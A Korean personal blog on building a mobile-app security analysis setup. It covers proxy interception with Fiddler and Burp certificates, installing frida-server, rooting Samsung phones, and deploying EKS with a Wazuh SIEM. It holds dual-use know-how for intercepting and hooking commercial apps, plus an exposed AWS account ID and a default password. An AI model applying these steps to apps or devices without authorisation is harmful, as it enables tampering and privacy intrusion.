IoS Fiddler 프록시 설정 - 노트북 연결 x

우제혁 — Thu, 28 Dec 2023 18:04:35 +0900

프록시를 설정할때 안드로이드앱이 분석이 힘들때 IOS 기기로 잘 되는 경우가 있었다. 따라서 기존 상용화되고있는 앱의 패킷을 분석하고 싶을때 이 방법을 사용했다.

네트워크 세팅

실 공격을 날리지 않을 계획이여서 카페 네트워크를 사용

다른 네트워크를 자유롭게 사용해도 된다.

Hollys_5G_new 네트워크 사용

로컬 노트북 연결(Wireless LAN adapter Wi-Fi: 192.168.1.13)
아이폰 와이파이 연결후 프록시 수동으로 192.168.1.13 를 설정해주고 포트를 8887로 설정

인증서 세팅

휴대폰에서 다음 경로로 접근하면 피들러 인증서를 설치할수 있으며 인증서 관리를 통해 설치를 진행한다.

http://ipv4.fiddler:8887/

패킷 확인

피들러 확포트 설정후 패킷 확인

fiddler option

앱간 네트워크가 연결되었으며 패킷 분석이 가능해졌다.

Android 프록시 인증서 세팅

우제혁 — Thu, 28 Dec 2023 17:35:38 +0900

fiddler 인증서 세팅

openssl 을 통해 DER 을 PEM으로 변경

• openssl x509 -inform DER -in cacert.der -out cacert.pem

• openssl 을 통해 인증서 해시값을 추출한다.

openssl x509 -inform PEM -subject_hash_old -in cacert.pem

이후 안드로이드 앱에서 개발자 모드를 설정해준다.

이후 연결을 확인한다.

그리고 인증서를 넣어준다.

adb push 269953fb.0 /data/local/tmp

이후 adb shell 로 접근한뒤 su로 권한을 준다.

이때 su가 없다고뜨며 안된다면 루팅이 안된것이다 난 오딘으로 루팅해줬다.

mount -o rw,remount /system

이후 인증서 파일을 옮겨준다.

이때 /system도 마운트를 다시 해줘야한다.

이후 fiddler에서 프록시 설정할때 했던 포트를 맞춰준다.

그러고 크롬이나 네이버가 아닌 삼성 브라우져 같은걸로 확인해본다

이때 재부팅을 해주자!

근데 fiddler 에서는 계속 오류가 났다.

https://blog.naver.com/PostView.naver?blogId=best798&logNo=222144681366&parentCategoryNo=14&categoryNo=&viewDate=&isShowPopularPosts=true&from=search

이것도 해줬는데 힘들었다,,,

http://ipv4.fiddler:8070/ 이걸로 웹으로 인증서 다운받을 수 있다.

이떄 오류가 발생하거나 패킷이 잡히지 않는다면 burpsuit 인증서로 버프스위트인증서를 사용하자.

참고
https://core-research-team.github.io/2022-01-01/Tutorial-모바일-취약점-분석-환경-구축하기

이떄 로컬 프록시 설정은 안해야 핸드폰 패킷만 잡는다.

이때 네트워크 설정

로컬(노트북) → 아이폰 핫스팟 연결
갤7 → 아이폰 핫스팟 연결

프록시 수동으로 저 172.20.10.2로 주고 프록시는 8888 해줬다.

버프 설정

Android frida server 세팅

우제혁 — Thu, 28 Dec 2023 17:08:27 +0900

프리다 세팅

1. frida-tools python 모듈 설치

pip install frida-tools

frida-server 같은경우 버전이 높으면 frda-ps 에서 오류가 날 수 있어서 12.11.10 버전을 이용했다.

기기종 확인

adb shell getprop ro.product.cpu.abi

설치후 버전을확인하고 맞는 버전을 다운받아서 https://github.com/frida/frida/releases 파일을 adb push로 넣어준다.

이어서 파일 마운트와 권한설정후 /system 폴더로 옮겨준다.

chmod 755 frida-server-12.11.10-android-arm64
mount -o rw,remount /
mount -o ro,remount /

/system 폴더로 옮겨주는 이유

frida-server을 옮겨 주지 않으면 frida를 실행할때 다음과 같은 오류가 발생할 수 있으며

unable to access zygote64 while preparing for app launch; try disabling Magisk Hide in case it is active

이 오류는 다음과 같이 해결할 수 있다.

magisk에서 hide 옵션 해제
프리다 서버를 system 디렉터리에서 실행
디바이스를 다시 시작합니다.
(adb shell "su -c magiskhide disable”)

이후 frida 서버를 실행한뒤 frida-ps 로 잘 실행되어있는지 확인한다.

오류가 발생하지 않을때는 다음과 같이 진행된다.

안드로이드 취약점 분석 오류 모음

우제혁 — Thu, 28 Dec 2023 16:59:39 +0900

Read-only file system 이슈

frida-server 파일을 adb 내부에서 옮겨야할때 옮길수없다는 mount 오류가 발생할수 있는데 이때는 다음과 같은 명령어로 상위 디렉토리인 /에 rw 권한을 부여해준다. 오류가 발생할시 /system으로 좀더 정확하게 하는것도 방법이다.

mount -o rw,remount /

이후 파일을 옯겼으면 다시 ro로 변경해주자.

mount -o ro,remount /

mount -o rw,remount / 로 해결이 되지 않는다면?

알고보니 안드로이드 에뮬레이터는 read-only로 실행되고 있었고 이를 해결하기 위해 다음과 같이 진행 했다.

애뮬레이터가 설치된 경로로 들어간다 ex) ~/Library/Android/sdk/emulator
-writable-system 의 설정을 주고 에뮬레이터를 직접 실행한다.

애뮬레이터 경로에서 cmd를 실행한뒤 다음명령어를 통해 실행한다.

emulator @Pixel_6_Pro_API_33 -writable-system

이후 다른곳에서 나왔던 것처럼 루트 권한을 주고 remount를 해준뒤 꼭 remount를 해줘야한다

adb root
adb disable-verity
adb reboot
adb remount
adb shell
mount -o rw,remount /system

인증서& 프록시 이슈

피들러와 버프스위트의 인증서는 다르며 각 인증서마다 해쉬값이 정해져있다.
- 피들러 : 269953fb.0
- 버프 스위트 : 9a5ba575.0
크롬 브라우저는 추가 인증서 문제로 프록시가 잘 적용되지 않을 수 있다 따라서 삼성 브라우저같은 다른 브라우저로 확인을 해본다.
안드로이드 인증서를 확인할때 피들러와 버프 스위트는 서로 시스템 인증서 이름이 다르다.
로컬에 인터넷이 연결되어있다면 핫스팟으로 연결이 가능한데 이때 대부분 프록시 설정 ip의 끝부분이 1 또는 2이다.

와이파이는 같은 와이파이를 사용해야하며 로컬 ip의 주소로 설정해준다.

frida-server 이슈

frida의 버전이 16.2 보다 높으면 frda-ps -U가 안되기에 그보다 낮은 버전을 install해줘야한다.
- pip install frida==15.x.x
- ps상태가 do_wait 으로 계속된다.
swap이슈로 timeout 오류가 발생하는데 frida-server가 잘 실행되고 있는지 확인하자
Unable to connect to the frida server: need Gadget to attach on jailed Android 에러

Android 10 이상부터 존재하는 USAP 기능(빠른 앱 실행 기능)을 비활성화 하면 해결된다. adb shell안에서 작동 시키자

a50:/ # setprop persist.device_config.runtime_native.usap_pool_enabled false

➕ frida -U -f [페키지 이름] 으로 프리다가 잘 붙는지 확인을 먼저해보면서 오류를 해결하자.

Android emulater(intel) 앱설치 이슈

adb install 이슈가 있었다.

알고보니까 어찌어찌 설치하더라도 앱마다 실행 가능한 아키텍처를 확인해야하는 것을 알게 되었다.

사용하는 기기의 아키텍처는 다음 명령어로 확인 할수 있다

-이는 frida server를 설치할때도 유용하다.

>adb shell>getprop ro.product.cpu.abi fh

intel은 대부분 86x를 지원하는데 사용하려했던 앱는 arm만 지원하는것을 apk lib에서 확인 할 수 있었다.(Mac 은 arm임)

frida를 못 잡는 이슈

frida python time에러및 제대로 swan이 되지 않을때 직접 js파일로 만들어서 이를 불러서 실행하는 방법을 사용했더니 해결이 되었다.

패키지명으로 실행

frida-ps -U 를 통해서 패키지의 이름을 파악한다.
(이때 frida-ps -U 이 명령어는 frida-server가 실행되고 있어야 한다.)
frida -U -l "keyhook.js" 궁수의전설 처럼 frida -U -I [파일 경로] [패키지] 를 해준다.

pid 지정 실행

하지만 한글이 있어 가끔 잘 swan이 붙지 않을때는 pid 를 정해주는 방법도 있다.

frida -U -l "keyhook.js" -p 7450

➕ 이때 frida-ps -U를 해줬을때 목록에 뜨지 않는다면 아무리 시도해도 되지 않는다…

keyhook.js는 본인이 직접 작성한 js 파일이다.

앱이 강제 종료되는 이슈

➕ 가끔 앱에서 충돌이 있어서 예상치 않게 종료되었다면서 막 종료 버튼이 뜨는 경우가 있었다

이럴때마다 디바이스를 다시 재부팅 해주면서 귀찮게 다시 frida server 세팅해주는 경우가 많았다.

이럴때는 인내심을 가지고 종료 경고창이 계속 뜰때 홈버튼을 사용해서 alert가 안뜨게 만들어 주고
인터넷도 들어가보고 세팅도 한번 들어가주고 약간의 인내를 가지고 이것저것 해준다. (약 2분..? 길면 5분..?)
정신을 차리고 다시 돌아오는 앱을 사용한다.

다음을 참고해도 좋다

안드로이드 앱 튕김, 충돌 문제 해결 방법

앱의 데이터를 다 지우니까 좀 나아진것같았다

하지만 예전처럼 나아지지는 않는다…

해결

adb에서 다음과 같은 명령어를 입력한다.

setprop persist.device_config.runtime_native.usap_pool_enabled false

안드로이드 루팅 - CF-Auto-Root, twrp

우제혁 — Thu, 28 Dec 2023 16:37:51 +0900

개요

먼저 안드로이드앱 분석을 위해 루팅을 해줘야하는데 그 이유는 앱에서 root 권한으로 사용하기 위함이다. 이를 통해 frida를 사용해서 내부 함수를 조작해볼수도 있고 앱으로 시스템 권한을 얻어서 조작할 가능성을 확인해야하기 때문에 취약점 분석에 있어 루팅된 기계를 사용하거나 가상머신(NOX)등을 사용하기도 한다.

루팅 방법

1. 앱을 통한 루팅

2. 컴퓨터 소프트웨어(ordin, twrp)을 이용하는 방법

경험상 앱을 통한 루팅을 samsung S9 기준으로 잘 이뤄지지않았다 따라서 확실한 방법인 컴퓨터로 루팅하는 방법을 추천한다.

CF-Auto-Root

* 참고 사이트

https://su0-0su.tistory.com/102

1. 모델번호 확인 [환경설정]-[휴대전화 정보] 에서 모델 번호를 알아 놓는다.

S9 기준으로는 SMG930K 이다.

2. 환경설정에서 빌드 번호를 검색해서 7~8번정도 계속눌러주면 개발자 모드가 켜지며 옵션에 개발자 옵션이 생성된다.

3. 개발자 모드에 들어가 OEM 잠금해제와 USB 디버깅을 킨다.

루팅을 하기위해서는 개발자 모드로 들어가서 oem 버튼을 활성화 시켜야 하는데 oem 버튼이 없는 경우가 있다.

=> 와이파이를 연결하고 날짜를 최신으로 설정해주는것으로 옵션이 생기는것을 확인 할 수 있다.
이것은 스마트폰을 초기화해야한다.

*참고 사이트 : https://www.xda-developers.com/fix-missing-oem-unlock-samsung-galaxy-s9-samsung-galaxy-s8-samsung-galaxy-note-8/

4. 전원을 끈다음 전원을 키자마자 볼륨 하키 + 전원 키 + 홈버튼 를 동시에 눌러준다.

5. 눌러주게 되면 리커버리 모드에 진입하게 되며 볼룸 상키를 누르고 다운로드중입니다 상태의 화면을 유지한다.

6. 준비가 완료되면 아래 링크를 통해 알아놓은 모델 번호를 검색하여 CF-Auto-Root........tar.md5 파일과 ordin3 프로그램을 다운받아준다.

https://autoroot.chainfire.eu/

CF-Auto-Root

autoroot.chainfire.eu

7. 이후 ordin 프로그램을 실행한뒤 휴대폰을 노트북과 usb로 연결하게 되면 Added!라는 문구가 나온다.

8.AP를 선택하여 다음과 같이 아까 다운받은 CF-Auto-Root........tar.md5 파일을 선택해준다.

9. start를 눌러 루팅을 진행하고 다음과 같이 진행한다. 이때 폰은 초기화 해야할수 있으니 백업을 해둬야한다면 미리 진행한다.

10. SuperSU 앱이 설치되어 있다면 성공한것이며 정확히는 USB 연결후 ADB로 접근하여 SU를 입력했을때 오류없이 root 모드로 진입된다면 성공한 것이다.

twrp

- CF-Auto-Root 는 Android 7 까지만 지원이 된다고 하며 원하는 펌웨어가 존제하지 않을 수 있다. 이때는 twrp 루팅을 진행한다.

* 참고 사이트

https://m.blog.naver.com/okydoky0/222741847428

사전 준비

ordin 실행 파일을 다운 받는다.
일단 twrp파일을 다운받는다.
magisk를 다운 받는다.
Disable_Dm-Verity_ForceEncrypt_03.04.2020.zip 을 다운 받는다.

진행

1. 스마트폰을 usb로 연결한다음 디버그 모드와 oem 모드로 설정한다.

2. 이어서 볼륨- / 빅스비 / 전원 을 눌러 다운로드 모드에 진입하고 + 버튼을 누른다.

3. ordin 실행 파일을 통해 ap에 twrp 파일을 넣은뒤 start해주는데 주의 할점이 있다.

start 되면서 바로 핸드폰이 재부팅 되는데 이때 바로 볼륨+ / 빅스비 / 전원 버튼 3개를 동시에 눌러서 TWRP에 진입해야한다.

* 이것을 좀더 편하게? 하는 방법은 이렇게 ordin 옵션 체크들을 해지하고

start 버튼을 누른뒤 볼륨- / 전원 버튼을 누르면 재부팅 되는데 이때 볼륨+ / 빅스비 / 전원 버튼 3개를 누르는 방법도 있다.

4. 이어서 twrp 모드에 진입했으면 swipe로 첫 화면을 넘기고

5, wipe → format data → yes 입력 → swipe 해준다.

6. 이후 홈버튼으로 화면을 빠져나온다.

* 이때 실수로홈버튼이 아닌 reboot을 누르면 다시 처음부터 해야하니 조심하자

7. 이어서 준비된 Disable_Dm-Verity_ForceEncrypt_03.04.2020 파일과 Magisk-v20.1 파일을 옮겨준다.

7. 이후 홈 화면에서 install을 누르면 sd 화면으로 가는데 여기서 Disable_Dm-Verity_ForceEncrypt_03.04.2020 을 설치해주자

8. 이어서 같은 방법으로 Magisk-v20.1 도 설치 하자

9. 이후 여기서는 reboot system을 눌러주자.

그럼 다시 초기화된 상태가 되며 초기 설정을 해줘야 한다. 이때 부팅 과정에서 로고로딩이 엄청 기니까 참을성을 가지고 기다리자 잘못된게 아니다.

이어서 화면에 Magisk가 깔려있다면 루팅 성공 확실한건 ADB SHELL을 한뒤 SU가 되면 루팅된거다.

삽질

INSTALL 과정에서 내부 파일들이 다 0MB로 나와있다면 아래 영상으로 해결할 수 있다.

추가로 설치도중 /data가 마운트 안된다는 오류도 이 유트브를 보고 해결했다.

https://www.google.com/search?q=twrp+failed+to+mount&oq=twrp+faild+to+&aqs=chrome.1.69i57j0i13i512l8j0i13i30.9365j0j7&sourceid=chrome&ie=UTF-8#fpstate=ive&vld=cid:6317cde0,vid:T-7neHzSIvc

EKS 환경 구축 총정리

우제혁 — Mon, 18 Dec 2023 23:43:28 +0900

환경 구축(배포 파일 )다운로드

https://drive.google.com/file/d/12DUfbE0nuqsKrP5Rz2IfYHiat9dTbUdH/view?usp=sharing

terraform 실행

cd eks-terraform-final

terraform init
terraform plan 
terraform apply →< yes

로드밸런스 설치

@REM aws-auth ------------------

eksctl create iamidentitymapping  --cluster eks-JaeHyuk --arn arn:aws:iam::871065065486:user/JaeHyuk --username JaeHyuk  --group system:masters

@REM 인그레스 컨트롤러 만들기 -----------------------------------------------------
cd script\\ingrass

aws eks update-kubeconfig --region us-east-2   --name eks-JaeHyuk 
eksctl utils associate-iam-oidc-provider  --region us-east-2   --cluster eks-JaeHyuk  --approve

aws iam create-policy   --policy-name AWSLoadBalancerControllerIAMPolicy  --policy-document file://iam_policy.json

eksctl create iamserviceaccount   --cluster eks-JaeHyuk  --namespace kube-system  --name aws-load-balancer-controller  --attach-policy-arn arn:aws:iam::871065065486:policy/AWSLoadBalancerControllerIAMPolicy --override-existing-serviceaccounts  --approve 

kubectl apply -f cert-manager.yaml 
kubectl apply -f v2_5_4_full.yaml 
kubectl apply -f v2_5_4_ingclass.yaml 

kubectl get deployment -n kube-system aws-load-balancer-controller 
kubectl get sa aws-load-balancer-controller -n kube-system -o yaml 

cd ../../

리소스 충돌시 삭제후 재설치

cd script\\ingrass

@REM 삭제
kubectl delete -f v2_5_4_ingclass.yaml
kubectl delete -f v2_5_4_full.yaml
kubectl delete -f cert-manager.yaml

eksctl delete iamserviceaccount  --cluster eks-JaeHyuk  --namespace kube-system  --name aws-load-balancer-controller
aws iam delete-policy  --policy-arn arn:aws:iam::871065065486:policy/AWSLoadBalancerControllerIAMPolicy

@REM 재설치

eksctl utils associate-iam-oidc-provider  --region us-east-2   --cluster eks-JaeHyuk  --approve

aws iam create-policy   --policy-name AWSLoadBalancerControllerIAMPolicy  --policy-document file://iam_policy.json

eksctl create iamserviceaccount   --cluster eks-JaeHyuk  --namespace kube-system  --name aws-load-balancer-controller  --attach-policy-arn arn:aws:iam::871065065486:policy/AWSLoadBalancerControllerIAMPolicy --override-existing-serviceaccounts  --approve 

kubectl apply -f cert-manager.yaml 
kubectl apply -f v2_5_4_full.yaml 
kubectl apply -f v2_5_4_ingclass.yaml 

kubectl get deployment -n kube-system aws-load-balancer-controller 
kubectl get sa aws-load-balancer-controller -n kube-system -o yaml 

cd ../../

서비스 설치

@REM 서비스 배포 ----------------------------------------------------------------------

aws eks update-kubeconfig --region us-east-2 --name eks-JaeHyuk

cd JUNGSINT\\manifest

kubectl apply -f flask-deployment.yaml
kubectl apply -f flask-service.yaml
kubectl apply -f flask-ingress.yaml

kubectl get pods -A
kubectl get services -A

powershell -Command "echo <http://$>(kubectl get ingress/osint-flask-ingress -o jsonpath='{.status.loadBalancer.ingress[*].hostname}')/"

cd ../

mysql db 세팅

cd JUNGSINT\\manifest\\mysql

kubectl apply -f db-pv.yaml
kubectl apply -f db-storagelass.yaml
kubectl apply -f db-statefulset.yaml
kubectl apply -f db-service.yaml

kubectl get pods -A
kubectl get services -A

argocd 세팅

kubectl create namespace argocd
kubectl apply -n argocd -f <https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml>

kubectl patch svc argocd-server -n argocd --type='json' -p='[{"op": "replace", "path": "/spec/type", "value": "LoadBalancer"}]'
kubectl -n argocd get all

argocd passwd 확인

kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath="{.data.password}" | base64 -d

argocd setting
ArgoCD Application 생성

jenkins -trivy 세팅

젠킨스 서버 생성
젠킨스 실행 / 설정
trivy 설치
플러그인 다운로드
credential 생성
1. Jenkins와 Github 연동
2. AWS ECR에 접근하기 위한 Credential
3. slack 연결
pipeline 생성
jenkinsfile 생성

wazuh 세팅

$ git clone <https://github.com/wazuh/wazuh-kubernetes.git>
$ cd wazuh-kubernetes

wazuh/certs/indexer_cluster/generate_certs.sh
wazuh/certs/dashboard_http/generate_certs.sh

코드수정 & 환경 설정

리소스 정리

EC2 > 로드밸런스 삭제
EC2 > 대상 그룹 삭제
스크립트 실행

cd script\ingrass

eksctl delete iamserviceaccount  --cluster eks-JaeHyuk  --namespace kube-system  --name aws-load-balancer-controller
aws iam delete-policy  --policy-arn arn:aws:iam::871065065486:policy/AWSLoadBalancerControllerIAMPolicy
eksctl utils disassociate-iam-oidc-provider  --region us-east-2  --cluster eks-JaeHyu

kubectl delete -f cert-manager.yaml 
kubectl delete -f v2_5_4_ingclass.yaml
kubectl delete -f v2_5_4_full.yaml

cd ..\..\JUNGSINT\manifest

kubectl delete -f flask-deployment.yaml
kubectl delete -f flask-service.yaml
kubectl delete -f flask-ingress.yaml

cd mysql

kubectl delete -f db-pv.yaml
kubectl delete -f db-service.yaml
kubectl delete -f db-statefulset.yaml
kubectl delete -f db-storagelass.yaml

cd ..\wazuh-kubernetes

kubectl delete -k envs/eks/


cd ../../../


terraform destroy -auto-approve

vpc 삭제

Wazuh

우제혁 — Mon, 18 Dec 2023 23:28:45 +0900

Wazuh

wazuh란

https://velog.io/@jhly/What-is-Wazuh-2ktn64p8

XDR 및 SIEM 기능을 통합하는 무료 오픈 소스 보안 플랫폼
온프레미스, 가상화, 컨테이너화된 클라우드 기반 환경에서 시스템 보호 가능
Wazuh는 세 개의 중앙 플랫폼 구성 요소와 단일 범용 에이전트 구성

Wazuh는 총 3가지 서버 사이드 구성요소와 클라이언트 사이드의 에이전트로 구성되어진다.

Wazuh 인덱서(Indexer)확장성이 뛰어난 전체 텍스트 검색 및 분석 엔진이며, Wazuh 서버에서 생성된 알림을 색인하고 저장한다.
Wazuh 서버(Server)에이전트로부터 받은 데이터를 분석하여, 디코더와 규칙을 통해 데이터를 처리하여 보안 이벤트를 생성하며, 또한 에이전트를 관리, 원격 구성/업그레이드 하는데 사용한다.
Wazuh 대시보드(Dashboard)데이터 시각화 및 분석을 위한 웹 사용자 인터페이스이며, Wazuh 구성을 관리하고 상태를 모니터링 하는데 사용한다.(보안이벤트, 컴플라이언스, CVE, 파일 무결성 모니터링 등 기본 제공 대시보드 포함)
Wazuh 에이전트(Agent)엔드포인트에 설치되며, 위협 예방, 탐지 및 대응 기능을 제공한다.(Linux, Windows, macOS, Solaris, AIX, HP-UX 지원)

기본 파일 설치 및 가이드

https://documentation.wazuh.com/current/deployment-options/deploying-with-kubernetes/kubernetes-deployment.html

https://github.com/wazuh/wazuh-kubernetes/blob/master/instructions.md

$ git clone [https://github.com/wazuh/wazuh-kubernetes.git](https://github.com/wazuh/wazuh-kubernetes.git)
$ cd wazuh-kubernetes

SSL certificates 설정

다음 경로에 있는 .sh를 실행해 pem 파일들을 생성시킨다.

wazuh/certs/indexer_cluster/generate_certs.sh
wazuh/certs/dashboard_http/generate_certs.sh

코드수정 & 환경 설정

해당 git clone 한 코드에는 몇가지 수정사항이 필요하다

코드 수정

wazuh image tag 변경

github에 나와있는 코드에는 image tag가 잘못되어있어 dockerhub에 존제하는 tag로 변경해준다.

image: ‘wazuh/wazuh-manager’ → image: 'wazuh/wazuh-manager:4.6.0’

image: 'wazuh/wazuh-dashboard → image: 'wazuh/wazuh-dashboard:4.6.0'

버전으로 오류나는 모습

internal 오류

해당 라인값에는 true 아님 false가 와야하며 지워도 무방하다

internet-facing 수정

https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/network-load-balancing.html

로드밸런스의 체계가 Internal 여서 내부 ip 로 찍히고 있는 문제가 발생할 수 있으므로 코드 내부에서 svc yaml 파일들(wazuh manager 등 모든 svc)에 다음과 같이 'internet-facing' 옵션을 추가한다.

annotations:
    service.beta.kubernetes.io/aws-load-balancer-scheme: 'internet-facing'

다음과 같이 로드 밸런스에 체계가 internet-facing이 되어있으면 성공이다.

환경 설정

ebs csi driver를 설치

https://documentation.wazuh.com/current/deployment-options/deploying-with-kubernetes/kubernetes-deployment.html

공식문서에는 다음과 같이 설명이 되어있다.

• For Amazon EKS deployments using Kubernetes version 1.23 and later, an Amazon EBS CSI driver IAM role. The CSI driver requires that you assign an IAM role to work properly. Read AWS documentation to find instructions on Creating the Amazon EBS CSI driver IAM role. You need to install the CSI driver for both, new and old deployments. The CSI driver is an essential Kubernetes feature.

쿠버네티스 버전 1.23 이상을 사용하는 Amazon EKS 배포의 경우 Amazon EBS CSI 드라이버 IAM 역할을 수행합니다. CSI 드라이버가 제대로 작동하려면 IAM 역할을 할당해야 합니다. AWS 설명서를 참조하여 Amazon EBS CSI 드라이버 IAM 역할 만들기에 대한 지침을 확인하십시오. 신규 배포와 기존 배포 모두에 CSI 드라이버를 설치해야 합니다. CSI 드라이버는 Kubernetes의 필수 기능입니다.

eksctl create iamserviceaccount \
    --name ebs-csi-controller-sa \
    --namespace kube-system \
    --cluster eks-JaeHyuk \
    --role-name AmazonEKS_EBS_CSI_DriverRole \
    --role-only \
    --attach-policy-arn arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy \
    --approve

eksctl create iamserviceaccount  --name ebs-csi-controller-sa   --namespace kube-system   --cluster eks-JaeHyuk    --role-name AmazonEKS_EBS_CSI_DriverRole    --role-only   --attach-policy-arn arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy     --approve

드라이버를 설치

https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/managing-ebs-csi.html

aws eks describe-addon-versions --addon-name aws-ebs-csi-driver

eksctl create addon --name aws-ebs-csi-driver --cluster eks-JaeHyuk --service-account-role-arn arn:aws:iam::871065065486:role/AmazonEKS_EBS_CSI_DriverRole --force

서브넷 tag 수정(로드 밸런스 미 생성 오류)

https://repost.aws/ko/knowledge-center/eks-load-balancer-controller-subnets

서브넷 오류 모습

vpc → 서브넷으로간뒤 각 서브넷 태그를 다음과 같이 추가해줬다.

kubernetes.io/role/internal-elb   1

다음과 같이 해결되는것을 확인 할 수 있다.

서브넷 태그 설정 전

서브넷 태그 설정 후

wazuh 서버에 접속하는 방법

kubectl exec -it wazuh-manager-master-0 -n wazuh --/bin/bash

최종 wazuh-kubernetes.zip 수정 파일

wazuh-kubernetes.zip

0.88MB

eks에 배포

kubectl apply -k envs/eks/

Trouble Shooting - 잘못된 리다이렉트 이슈

로그인을 진행하면 /app/wz-home으로 이동되며 application을 찾을 수 없다는 오류가 나오지만

/app/wazuh로 이동해보면 문제없이 화면이 보이는것을 확인 할 수 있다.\

wazuh agent 설치

wazuh 서버를 설치했다면 모니터링하고 싶은 서버에 agent를 설치해줘야한다.

agent 설치 방법

주의 처음 ip등록할떄는 1515 도메인으로 연결해준다음에 vi /var/ossec/etc/ossec.conf 명령어로 1514의 도메인으로 수정해주고 sudo systemctl restart wazuh-agent 이걸로 에이전트를 다시 실행해줘야한다.

dashboard       LoadBalancer   172.20.121.201   k8s-wazuh-dashboar-5cd5eb3ced-47cf773c8bb6c733.elb.us-east-2.amazonaws.com   443:31899/TCP                    6d22h
indexer         LoadBalancer   172.20.39.187    k8s-wazuh-indexer-05e7c1c667-6c134e11715d97fb.elb.us-east-2.amazonaws.com    9200:31168/TCP                   6d22h
wazuh           LoadBalancer   172.20.37.46     k8s-wazuh-wazuh-3e0721f42c-bef9798678a81a35.elb.us-east-2.amazonaws.com      1515:30362/TCP,55000:31300/TCP   6d22h
wazuh-cluster   ClusterIP      None             <none>                                                                       1516/TCP                         6d22h
wazuh-indexer   ClusterIP      None             <none>                                                                       9300/TCP                         6d22h
wazuh-workers   LoadBalancer   172.20.93.8      k8s-wazuh-wazuhwor-eb59a6b113-6e4884d26af16cba.elb.us-east-2.amazonaws.com   1514:31816/TCP                   6d22h

설치 명령어 실행

curl -o wazuh-agent-4.6.0-1.x86_64.rpm https://packages.wazuh.com/4.x/yum/wazuh-agent-4.6.0-1.x86_64.rpm && sudo WAZUH_MANAGER='k8s-wazuh-wazuh-3e0721f42c-bef9798678a81a35.elb.us-east-2.amazonaws.com' WAZUH_REGISTRATION_PASSWORD='password' WAZUH_AGENT_GROUP='default' WAZUH_AGENT_NAME='trivy-agent' rpm -ihv wazuh-agent-4.6.0-1.x86_64.rpm

curl -o wazuh-agent-4.6.0-1.x86_64.rpm https://packages.wazuh.com/4.x/yum/wazuh-agent-4.6.0-1.x86_64.rpm && sudo WAZUH_MANAGER='k8s-wazuh-wazuh-3e0721f42c-bef9798678a81a35.elb.us-east-2.amazonaws.com' WAZUH_REGISTRATION_PASSWORD='password' WAZUH_AGENT_GROUP='default' WAZUH_AGENT_NAME='trivy-agent' rpm -ihv wazuh-agent-4.6.0-1.x86_64.rpm

[k8s-wazuh-wazuh-3e0721f42c-bef9798678a81a35.elb.us-east-2.amazonaws.com](http://k8s-wazuh-wazuh-3e0721f42c-bef9798678a81a35.elb.us-east-2.amazonaws.com) : 1515 서비스의 도메인
password : \wazuh\secrets\wazuh-authd-pass-secret.yaml 에 password로 password가 지정되어있음
default : agent group을 설정
trivy-agent : agent이름을 설정

wazuh-agent 실행

sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent

접속 도메인 변경

agent 설정파일 수정

vi /var/ossec/etc/ossec.conf

1514포트인 도메인으로 변경

dashboard       LoadBalancer   172.20.121.201   k8s-wazuh-dashboar-5cd5eb3ced-47cf773c8bb6c733.elb.us-east-2.amazonaws.com   443:31899/TCP                    6d22h
indexer         LoadBalancer   172.20.39.187    k8s-wazuh-indexer-05e7c1c667-6c134e11715d97fb.elb.us-east-2.amazonaws.com    9200:31168/TCP                   6d22h
wazuh           LoadBalancer   172.20.37.46     k8s-wazuh-wazuh-3e0721f42c-bef9798678a81a35.elb.us-east-2.amazonaws.com      1515:30362/TCP,55000:31300/TCP   6d22h
wazuh-cluster   ClusterIP      None             <none>                                                                       1516/TCP                         6d22h
wazuh-indexer   ClusterIP      None             <none>                                                                       9300/TCP                         6d22h
wazuh-workers   LoadBalancer   172.20.93.8      k8s-wazuh-wazuhwor-eb59a6b113-6e4884d26af16cba.elb.us-east-2.amazonaws.com   1514:31816/TCP                   6d22h

<client>
  <server>
    <address>k8s-wazuh-wazuhwor-eb59a6b113-6e4884d26af16cba.elb.us-east-2.amazonaws.com</address>
  </server>
</client>

agent 재시작

sudo systemctl restart wazuh-agent

agent 연결 확인

wazuh의 기능

특정 관제 파일 추가

https://documentation.wazuh.com/current/user-manual/capabilities/log-data-collection/monitoring-log-files.html

vi /var/ossec/etc/ossec.conf

  <localfile>
    <log_format>json</log_format>
    <location>/var/log/trivy/*</location>
  </localfile>

/home/ec2-user/test

https://documentation.wazuh.com/current/user-manual/capabilities/file-integrity/how-to-configure-fim.html

이때 관제 대상 파일의 권한을 수정해줘야 할 수 도 있다.

파일 검색

agent가 설치되면 다음과 같이 파일을 검색할 수 도 있으며 파일의 내용은 확인 못하지만 메타 데이터를 확인 할 수 있다.

Wazuh 보안 정보 및 이벤트 관리(SIEM)

https://wazuh.com/platform/siem/